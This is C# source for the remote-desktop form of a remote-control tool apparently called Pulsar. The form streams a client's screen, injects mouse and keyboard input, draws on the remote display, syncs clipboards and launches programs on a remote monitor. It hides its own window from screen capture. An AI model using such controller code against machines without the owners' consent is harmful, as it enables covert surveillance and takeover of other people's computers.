using Gma.System.MouseKeyHook; using Pulsar.Common.Enums; using Pulsar.Common.Messages; using Pulsar.Common.Messages.Monitoring.Clipboard; using Pulsar.Server.Forms.DarkMode; using Pulsar.Server.Forms.RemoteDesktopPopUp; using Pulsar.Server.Helper; using Pulsar.Server.Messages; using Pulsar.Server.Networking; using Pulsar.Server.Utilities; using System; using System.Collections.Generic; using System.Diagnostics; using System.Drawing; using System.IO; using System.Threading; using System.Windows.Forms; namespace Pulsar.Server.Forms { public partial class FrmRemoteDesktop : Form { /// /// States whether remote mouse input is enabled. /// private bool _enableMouseInput; /// /// States whether remote keyboard input is enabled. /// private bool _enableKeyboardInput; /// /// States whether drawing mode is enabled. /// private bool _enableDrawingMode; /// /// States whether eraser mode is enabled. /// private bool _enableEraserMode; /// /// The current stroke width for drawing. /// private int _strokeWidth = 5; /// /// The current drawing color. /// private Color _drawingColor = Color.Red; /// /// Keeps track of the previous mouse position for drawing. /// private Point _previousMousePosition = Point.Empty; /// /// Holds the state of the local keyboard hooks. /// private IKeyboardMouseEvents _keyboardHook; /// /// Holds the state of the local mouse hooks. /// private IKeyboardMouseEvents _mouseHook; /// /// A list of pressed keys for synchronization between key down & -up events. /// private readonly List _keysPressed; /// /// Monitors clipboard changes on the server to send to the client /// private ClipboardMonitor _clipboardMonitor; /// /// States whether bidirectional clipboard sync is enabled /// private bool _enableBidirectionalClipboard; /// /// The client which can be used for the remote desktop. /// private readonly Client _connectClient; /// /// The message handler for handling the communication with the client. /// private readonly RemoteDesktopHandler _remoteDesktopHandler; /// /// Holds the opened remote desktop form for each client. /// private static readonly Dictionary OpenedForms = new Dictionary(); private bool _useGPU = false; private int _sizeFrames = 0; // independent counter for size label updates /// /// Creates a new remote desktop form for the client or gets the current open form, if there exists one already. /// /// The client used for the remote desktop form. /// /// Returns a new remote desktop form for the client if there is none currently open, otherwise creates a new one. /// public static FrmRemoteDesktop CreateNewOrGetExisting(Client client) { if (OpenedForms.ContainsKey(client)) { return OpenedForms[client]; } FrmRemoteDesktop r = new FrmRemoteDesktop(client); r.Disposed += (sender, args) => OpenedForms.Remove(client); OpenedForms.Add(client, r); return r; } /// /// Initializes a new instance of the class using the given client. /// /// The client used for the remote desktop form. public FrmRemoteDesktop(Client client) { _connectClient = client; _remoteDesktopHandler = new RemoteDesktopHandler(client); _keysPressed = new List(); _clipboardMonitor = new ClipboardMonitor(client); RegisterMessageHandler(); try { InitializeComponent(); } catch (Exception ex) { Debug.WriteLine($"FrmRemoteDesktop.InitializeComponent failed: {ex}"); MessageBox.Show( $"Failed to initialize Remote Desktop form.\n\n{ex}", "Remote Desktop Error", MessageBoxButtons.OK, MessageBoxIcon.Error); throw; } DarkModeManager.ApplyDarkMode(this); ScreenCaptureHider.ScreenCaptureHider.Apply(this.Handle); colorPicker.BackColor = _drawingColor; colorPicker.FlatStyle = FlatStyle.Flat; colorPicker.FlatAppearance.BorderColor = Color.White; colorPicker.Text = "Color"; colorPicker.ForeColor = Color.White; ConfigureDrawingButtons(); btnShowDrawingTools.Enabled = false; strokeWidthTrackBar.Value = _strokeWidth; strokeWidthTrackBar.ValueChanged += strokeWidthTrackBar_ValueChanged; colorPicker.Click += colorPicker_Click; // Update tooltip text for bidirectional clipboard toolTipButtons.SetToolTip(this.btnBiDirectionalClipboard, "Enable bidirectional clipboard sync"); } /// /// Configures the drawing tool buttons with the correct styling and icons /// private void ConfigureDrawingButtons() { // pencil btnDrawing.Size = new Size(60, 28); btnDrawing.FlatStyle = FlatStyle.Flat; btnDrawing.FlatAppearance.BorderSize = 1; btnDrawing.BackgroundImage = Properties.Resources.pencil; btnDrawing.BackgroundImageLayout = ImageLayout.Zoom; btnDrawing.Text = string.Empty; btnDrawing.BackColor = SystemColors.Control; btnDrawing.UseVisualStyleBackColor = false; toolTipButtons.SetToolTip(btnDrawing, "Enable drawing"); // eraser btnEraser.Size = new Size(60, 28); btnEraser.FlatStyle = FlatStyle.Flat; btnEraser.FlatAppearance.BorderSize = 1; btnEraser.BackgroundImage = Properties.Resources.eraser; btnEraser.BackgroundImageLayout = ImageLayout.Zoom; btnEraser.Text = string.Empty; btnEraser.BackColor = SystemColors.Control; btnEraser.UseVisualStyleBackColor = false; toolTipButtons.SetToolTip(btnEraser, "Enable eraser"); // clear btnClearDrawing.Size = new Size(60, 28); btnClearDrawing.FlatStyle = FlatStyle.Flat; btnClearDrawing.FlatAppearance.BorderSize = 1; btnClearDrawing.BackgroundImage = Properties.Resources.clear; btnClearDrawing.BackgroundImageLayout = ImageLayout.Zoom; btnClearDrawing.Text = string.Empty; btnClearDrawing.BackColor = SystemColors.Control; btnClearDrawing.UseVisualStyleBackColor = false; toolTipButtons.SetToolTip(btnClearDrawing, "Clear drawing"); } /// /// Called whenever a client disconnects. /// /// The client which disconnected. /// True if the client connected, false if disconnected private void ClientDisconnected(Client client, bool connected) { if (!connected) { this.Invoke((MethodInvoker)this.Close); } } /// /// Registers the remote desktop message handler for client communication. /// private void RegisterMessageHandler() { _connectClient.ClientState += ClientDisconnected; _remoteDesktopHandler.DisplaysChanged += DisplaysChanged; _remoteDesktopHandler.ProgressChanged += UpdateImage; MessageHandler.Register(_remoteDesktopHandler); } /// /// Unregisters the remote desktop message handler. /// private void UnregisterMessageHandler() { MessageHandler.Unregister(_remoteDesktopHandler); _remoteDesktopHandler.DisplaysChanged -= DisplaysChanged; _remoteDesktopHandler.ProgressChanged -= UpdateImage; _connectClient.ClientState -= ClientDisconnected; } /// /// Subscribes to local mouse and keyboard events for remote desktop input. /// private void SubscribeEvents() { _keyboardHook = Hook.GlobalEvents(); _keyboardHook.KeyDown += OnKeyDown; _keyboardHook.KeyUp += OnKeyUp; _mouseHook = Hook.AppEvents(); _mouseHook.MouseWheel += OnMouseWheelMove; } /// /// Unsubscribes from local mouse and keyboard events. /// private void UnsubscribeEvents() { if (_keyboardHook != null) { _keyboardHook.KeyDown -= OnKeyDown; _keyboardHook.KeyUp -= OnKeyUp; _keyboardHook.Dispose(); } if (_mouseHook != null) { _mouseHook.MouseWheel -= OnMouseWheelMove; _mouseHook.Dispose(); } } /// /// Starts the remote desktop stream and begin to receive desktop frames. /// private void StartStream(bool useGpu) { ToggleConfigurationControls(true); picDesktop.Start(); // Subscribe to the new frame counter. picDesktop.SetFrameUpdatedEvent(frameCounter_FrameUpdated); this.ActiveControl = picDesktop; _remoteDesktopHandler.BeginReceiveFrames(barQuality.Value, cbMonitors.SelectedIndex, useGpu); btnShowDrawingTools.Enabled = true; } /// /// Stops the remote desktop stream. /// private void StopStream() { ToggleConfigurationControls(false); picDesktop.Stop(); // Unsubscribe from the frame counter. It will be re-created when starting again. picDesktop.UnsetFrameUpdatedEvent(frameCounter_FrameUpdated); this.ActiveControl = picDesktop; _remoteDesktopHandler.EndReceiveFrames(); btnShowDrawingTools.Enabled = false; if (panelDrawingTools.Visible) { panelDrawingTools.Visible = false; btnShowDrawingTools.Image = Properties.Resources.arrow_up; toolTipButtons.SetToolTip(btnShowDrawingTools, "Show drawing tools"); } _enableDrawingMode = false; _enableEraserMode = false; ConfigureDrawingButtons(); picDesktop.Cursor = Cursors.Default; } /// /// Toggles the activatability of configuration controls in the status/configuration panel. /// /// When set to true the configuration controls get enabled, otherwise they get disabled. private void ToggleConfigurationControls(bool started) { btnStart.Enabled = !started; btnStop.Enabled = started; barQuality.Enabled = !started; cbMonitors.Enabled = !started; } /// /// Toggles the visibility of the status/configuration panel. /// /// Decides if the panel should be visible. private void TogglePanelVisibility(bool visible) { panelTop.Visible = visible; btnShow.Visible = !visible; this.ActiveControl = picDesktop; } /// /// Called whenever the remote displays changed. /// /// The message handler which raised the event. /// The currently available displays. private void DisplaysChanged(object sender, int displays) { cbMonitors.Items.Clear(); for (int i = 0; i < displays; i++) cbMonitors.Items.Add($"Display {i + 1}"); cbMonitors.SelectedIndex = 0; } private void UpdateImage(object sender, Bitmap bmp) { _sizeFrames++; if (_sizeFrames >= 60) { _sizeFrames = 0; long last = _remoteDesktopHandler.LastFrameSizeBytes; double avg = _remoteDesktopHandler.AverageFrameSizeBytes; if (last > 0 || avg > 0) { double lastKB = last / 1024.0; double avgKB = avg / 1024.0; this.Invoke((MethodInvoker)delegate { sizeLabelCounter.Text = $"{avgKB:0.0} KB"; }); } } picDesktop.UpdateImage(bmp, false); } private void FrmRemoteDesktop_Load(object sender, EventArgs e) { this.Text = WindowHelper.GetWindowTitle("Remote Desktop", _connectClient); OnResize(EventArgs.Empty); // trigger resize event to align controls panelDrawingTools.Visible = false; btnShowDrawingTools.Image = Properties.Resources.arrow_up; toolTipButtons.SetToolTip(btnShowDrawingTools, "Show drawing tools"); _enableDrawingMode = false; _enableEraserMode = false; ConfigureDrawingButtons(); _remoteDesktopHandler.RefreshDisplays(); } /// /// Updates the title with the current frames per second. /// /// The new frames per second. private void frameCounter_FrameUpdated(FrameUpdatedEventArgs e) { float fpsToShow = _remoteDesktopHandler.CurrentFps > 0 ? _remoteDesktopHandler.CurrentFps : e.CurrentFramesPerSecond; this.Text = string.Format("{0} - FPS: {1}", WindowHelper.GetWindowTitle("Remote Desktop", _connectClient), fpsToShow.ToString("0.00")); } private void FrmRemoteDesktop_FormClosing(object sender, FormClosingEventArgs e) { // all cleanup logic goes here SetClientClipboardSync(enabled: false); UnsubscribeEvents(); if (_remoteDesktopHandler.IsStarted) StopStream(); UnregisterMessageHandler(); _remoteDesktopHandler.Dispose(); _clipboardMonitor?.Dispose(); } private void FrmRemoteDesktop_Resize(object sender, EventArgs e) { if (WindowState == FormWindowState.Minimized) return; _remoteDesktopHandler.LocalResolution = picDesktop.ClientSize; btnShow.Left = (this.Width - btnShow.Width) / 2; btnShow.Top = this.Height - btnShow.Height - 40; } private void btnStart_Click(object sender, EventArgs e) { if (cbMonitors.Items.Count == 0) { MessageBox.Show("No remote display detected.\nPlease wait till the client sends a list with available displays.", "Starting failed", MessageBoxButtons.OK, MessageBoxIcon.Warning); return; } SubscribeEvents(); StartStream(_useGPU); } private void btnStop_Click(object sender, EventArgs e) { UnsubscribeEvents(); StopStream(); } #region Remote Desktop Input private void picDesktop_MouseDown(object sender, MouseEventArgs e) { if (this.ContainsFocus) { if ((_enableDrawingMode || _enableEraserMode) && e.Button == MouseButtons.Left) { _previousMousePosition = e.Location; } else if (_enableMouseInput && !(_enableDrawingMode || _enableEraserMode)) { MouseAction action = MouseAction.None; if (e.Button == MouseButtons.Left) action = MouseAction.LeftDown; if (e.Button == MouseButtons.Right) action = MouseAction.RightDown; int selectedDisplayIndex = cbMonitors.SelectedIndex; _remoteDesktopHandler.SendMouseEvent(action, true, e.X, e.Y, selectedDisplayIndex); } } } private void picDesktop_MouseMove(object sender, MouseEventArgs e) { if (this.ContainsFocus) { if ((_enableDrawingMode || _enableEraserMode) && e.Button == MouseButtons.Left) { if (_previousMousePosition != Point.Empty && (_previousMousePosition.X != e.X || _previousMousePosition.Y != e.Y)) { int selectedDisplayIndex = cbMonitors.SelectedIndex; bool useEraser = _enableEraserMode; _remoteDesktopHandler.SendDrawingEvent( e.X, e.Y, _previousMousePosition.X, _previousMousePosition.Y, _strokeWidth, _drawingColor.ToArgb(), useEraser, false, selectedDisplayIndex); _previousMousePosition = e.Location; } } else if (_enableMouseInput && !(_enableDrawingMode || _enableEraserMode)) { int selectedDisplayIndex = cbMonitors.SelectedIndex; _remoteDesktopHandler.SendMouseEvent(MouseAction.MoveCursor, false, e.X, e.Y, selectedDisplayIndex); } } } private void picDesktop_MouseUp(object sender, MouseEventArgs e) { if (this.ContainsFocus) { if ((_enableDrawingMode || _enableEraserMode) && e.Button == MouseButtons.Left) { _previousMousePosition = Point.Empty; } else if (_enableMouseInput && !(_enableDrawingMode || _enableEraserMode)) { MouseAction action = MouseAction.None; if (e.Button == MouseButtons.Left) action = MouseAction.LeftUp; if (e.Button == MouseButtons.Right) action = MouseAction.RightUp; int selectedDisplayIndex = cbMonitors.SelectedIndex; _remoteDesktopHandler.SendMouseEvent(action, false, e.X, e.Y, selectedDisplayIndex); } } } private void OnMouseWheelMove(object sender, MouseEventArgs e) { if (_enableMouseInput && this.ContainsFocus) { _remoteDesktopHandler.SendMouseEvent(e.Delta == 120 ? MouseAction.ScrollUp : MouseAction.ScrollDown, false, 0, 0, cbMonitors.SelectedIndex); } } private void OnKeyDown(object sender, KeyEventArgs e) { if (picDesktop.HasFrame && _enableKeyboardInput && this.ContainsFocus) { if (!IsLockKey(e.KeyCode)) e.Handled = true; if (_keysPressed.Contains(e.KeyCode)) return; _keysPressed.Add(e.KeyCode); _remoteDesktopHandler.SendKeyboardEvent((byte)e.KeyCode, true); } } private void OnKeyUp(object sender, KeyEventArgs e) { if (picDesktop.HasFrame && _enableKeyboardInput && this.ContainsFocus) { if (!IsLockKey(e.KeyCode)) e.Handled = true; _keysPressed.Remove(e.KeyCode); _remoteDesktopHandler.SendKeyboardEvent((byte)e.KeyCode, false); } } private bool IsLockKey(Keys key) { return ((key & Keys.CapsLock) == Keys.CapsLock) || ((key & Keys.NumLock) == Keys.NumLock) || ((key & Keys.Scroll) == Keys.Scroll); } #endregion Remote Desktop Input #region Remote Desktop Configuration private void barQuality_Scroll(object sender, EventArgs e) { int value = barQuality.Value; lblQualityShow.Text = value.ToString(); if (value < 25) lblQualityShow.Text += " (low)"; else if (value >= 85) lblQualityShow.Text += " (best)"; else if (value >= 75) lblQualityShow.Text += " (high)"; else if (value >= 25) lblQualityShow.Text += " (mid)"; this.ActiveControl = picDesktop; } private void btnMouse_Click(object sender, EventArgs e) { if (_enableMouseInput) { this.picDesktop.Cursor = Cursors.Default; btnMouse.Image = Properties.Resources.mouse_delete; toolTipButtons.SetToolTip(btnMouse, "Enable mouse input."); _enableMouseInput = false; } else { this.picDesktop.Cursor = Cursors.Hand; btnMouse.Image = Properties.Resources.mouse_add; toolTipButtons.SetToolTip(btnMouse, "Disable mouse input."); _enableMouseInput = true; } UpdateInputButtonsVisualState(); this.ActiveControl = picDesktop; } private void btnKeyboard_Click(object sender, EventArgs e) { if (_enableKeyboardInput) { this.picDesktop.Cursor = Cursors.Default; btnKeyboard.Image = Properties.Resources.keyboard_delete; toolTipButtons.SetToolTip(btnKeyboard, "Enable keyboard input."); _enableKeyboardInput = false; } else { this.picDesktop.Cursor = Cursors.Hand; btnKeyboard.Image = Properties.Resources.keyboard_add; toolTipButtons.SetToolTip(btnKeyboard, "Disable keyboard input."); _enableKeyboardInput = true; } UpdateInputButtonsVisualState(); this.ActiveControl = picDesktop; } private void enableGPU_Click(object sender, EventArgs e) { _useGPU = !_useGPU; if (_useGPU) { enableGPU.Image = Properties.Resources.computer_go; // enable GPU toolTipButtons.SetToolTip(enableGPU, "Disable GPU."); } else { enableGPU.Image = Properties.Resources.computer_error; // disable GPU toolTipButtons.SetToolTip(enableGPU, "Enable GPU."); } UpdateInputButtonsVisualState(); } private void btnDrawing_Click(object sender, EventArgs e) { if (!_remoteDesktopHandler.IsStarted) { MessageBox.Show("Drawing is only available when Remote Desktop is started", "Drawing unavailable", MessageBoxButtons.OK, MessageBoxIcon.Information); return; } _enableDrawingMode = !_enableDrawingMode; if (_enableDrawingMode) { _enableEraserMode = false; btnEraser.BackColor = SystemColors.Control; toolTipButtons.SetToolTip(btnEraser, "Enable eraser"); btnDrawing.BackColor = Color.FromArgb(120, 170, 120); toolTipButtons.SetToolTip(btnDrawing, "Disable drawing"); picDesktop.Cursor = Cursors.Cross; } else { btnDrawing.BackColor = SystemColors.Control; toolTipButtons.SetToolTip(btnDrawing, "Enable drawing"); picDesktop.Cursor = Cursors.Default; } this.ActiveControl = picDesktop; } private void btnEraser_Click(object sender, EventArgs e) { if (!_remoteDesktopHandler.IsStarted) { MessageBox.Show("Eraser is only available when Remote Desktop is started", "Eraser unavailable", MessageBoxButtons.OK, MessageBoxIcon.Information); return; } _enableEraserMode = !_enableEraserMode; if (_enableEraserMode) { _enableDrawingMode = false; btnDrawing.BackColor = SystemColors.Control; toolTipButtons.SetToolTip(btnDrawing, "Enable drawing"); btnEraser.BackColor = Color.FromArgb(120, 170, 120); toolTipButtons.SetToolTip(btnEraser, "Disable eraser"); picDesktop.Cursor = Cursors.Hand; } else { btnEraser.BackColor = SystemColors.Control; toolTipButtons.SetToolTip(btnEraser, "Enable eraser"); picDesktop.Cursor = Cursors.Default; } this.ActiveControl = picDesktop; } private void btnShowDrawingTools_Click(object sender, EventArgs e) { ToggleDrawingPanelVisibility(!panelDrawingTools.Visible); } private void ToggleDrawingPanelVisibility(bool visible) { if (visible && !_remoteDesktopHandler.IsStarted) { MessageBox.Show("Drawing tools are only available when Remote Desktop is started", "Drawing unavailable", MessageBoxButtons.OK, MessageBoxIcon.Information); return; } panelDrawingTools.Visible = visible; btnShowDrawingTools.Image = visible ? Properties.Resources.arrow_down : Properties.Resources.arrow_up; toolTipButtons.SetToolTip(btnShowDrawingTools, visible ? "Hide drawing tools" : "Show drawing tools"); this.ActiveControl = picDesktop; } private void btnClearDrawing_Click(object sender, EventArgs e) { if (!_remoteDesktopHandler.IsStarted) { MessageBox.Show("Clear drawing is only available when Remote Desktop is started", "Clear unavailable", MessageBoxButtons.OK, MessageBoxIcon.Information); return; } int displayIndex = cbMonitors.SelectedIndex; _remoteDesktopHandler.SendDrawingEvent(0, 0, 0, 0, 0, 0, false, true, displayIndex); } private void colorPicker_Click(object sender, EventArgs e) { if (!_remoteDesktopHandler.IsStarted) { MessageBox.Show("Color selection is only available when Remote Desktop is started", "Color selection unavailable", MessageBoxButtons.OK, MessageBoxIcon.Information); return; } ColorDialog colorDialog = new ColorDialog(); colorDialog.Color = _drawingColor; colorDialog.AllowFullOpen = true; colorDialog.AnyColor = true; if (colorDialog.ShowDialog() == DialogResult.OK) { _drawingColor = colorDialog.Color; colorPicker.BackColor = _drawingColor; colorPicker.ForeColor = GetContrastColor(_drawingColor); } } private void strokeWidthTrackBar_ValueChanged(object sender, EventArgs e) { _strokeWidth = strokeWidthTrackBar.Value; } private Color GetContrastColor(Color color) { int brightness = (int)Math.Sqrt( color.R * color.R * 0.299 + color.G * color.G * 0.587 + color.B * color.B * 0.114); return brightness > 130 ? Color.Black : Color.White; } #endregion Remote Desktop Configuration /// /// Updates the visual state of the input buttons based on current input settings /// private void UpdateInputButtonsVisualState() { UpdateButtonState(btnMouse, _enableMouseInput); UpdateButtonState(btnKeyboard, _enableKeyboardInput); UpdateButtonState(btnBiDirectionalClipboard, _enableBidirectionalClipboard); UpdateButtonState(enableGPU, _useGPU); } private void UpdateButtonState(Button button, bool enabled) { if (enabled) { button.BackColor = Color.FromArgb(0, 120, 0); // Dark green button.FlatAppearance.BorderColor = Color.LimeGreen; } else { button.BackColor = Color.FromArgb(40, 40, 40); // Default dark button.FlatAppearance.BorderColor = Color.Gray; } } private void btnHide_Click(object sender, EventArgs e) { TogglePanelVisibility(false); } private void btnShow_Click(object sender, EventArgs e) { TogglePanelVisibility(true); } private void btnStartProgramOnDisplay_Click(object sender, EventArgs e) { int currentDisplayIndex = cbMonitors.SelectedIndex; FrmOpenApplicationOnMonitor frm = new FrmOpenApplicationOnMonitor(_connectClient, currentDisplayIndex); frm.ShowDialog(this); } private void btnBiDirectionalClipboard_Click(object sender, EventArgs e) { _enableBidirectionalClipboard = !_enableBidirectionalClipboard; UpdateInputButtonsVisualState(); // Server-side clipboard monitor only controls server->client sync _clipboardMonitor.IsEnabled = _enableBidirectionalClipboard; Debug.WriteLine(_clipboardMonitor.IsEnabled ? "Server->Client clipboard sync enabled." : "Server->Client clipboard sync disabled."); SetClientClipboardSync(_enableBidirectionalClipboard); if (_enableBidirectionalClipboard) { Thread clipboardThread = new Thread(() => { try { Thread.CurrentThread.SetApartmentState(ApartmentState.STA); if (Clipboard.ContainsText()) { string clipboardText = Clipboard.GetText(); if (!string.IsNullOrEmpty(clipboardText)) { Debug.WriteLine($"Sending initial clipboard: {clipboardText.Substring(0, Math.Min(20, clipboardText.Length))}..."); _connectClient.Send(new SendClipboardData { ClipboardText = clipboardText }); } } } catch (Exception ex) { Debug.WriteLine($"Error sending initial clipboard: {ex.Message}"); } }); clipboardThread.SetApartmentState(ApartmentState.STA); clipboardThread.Start(); } } private void SetClientClipboardSync(bool enabled) { try { if (_connectClient != null) { _connectClient.ClipboardSyncEnabled = enabled; } _connectClient?.Send(new SetClipboardMonitoringEnabled { Enabled = enabled }); Debug.WriteLine(enabled ? "Requested client clipboard sync enable." : "Requested client clipboard sync disable."); } catch (Exception ex) { Debug.WriteLine($"Failed to update client clipboard sync state: {ex.Message}"); } } } }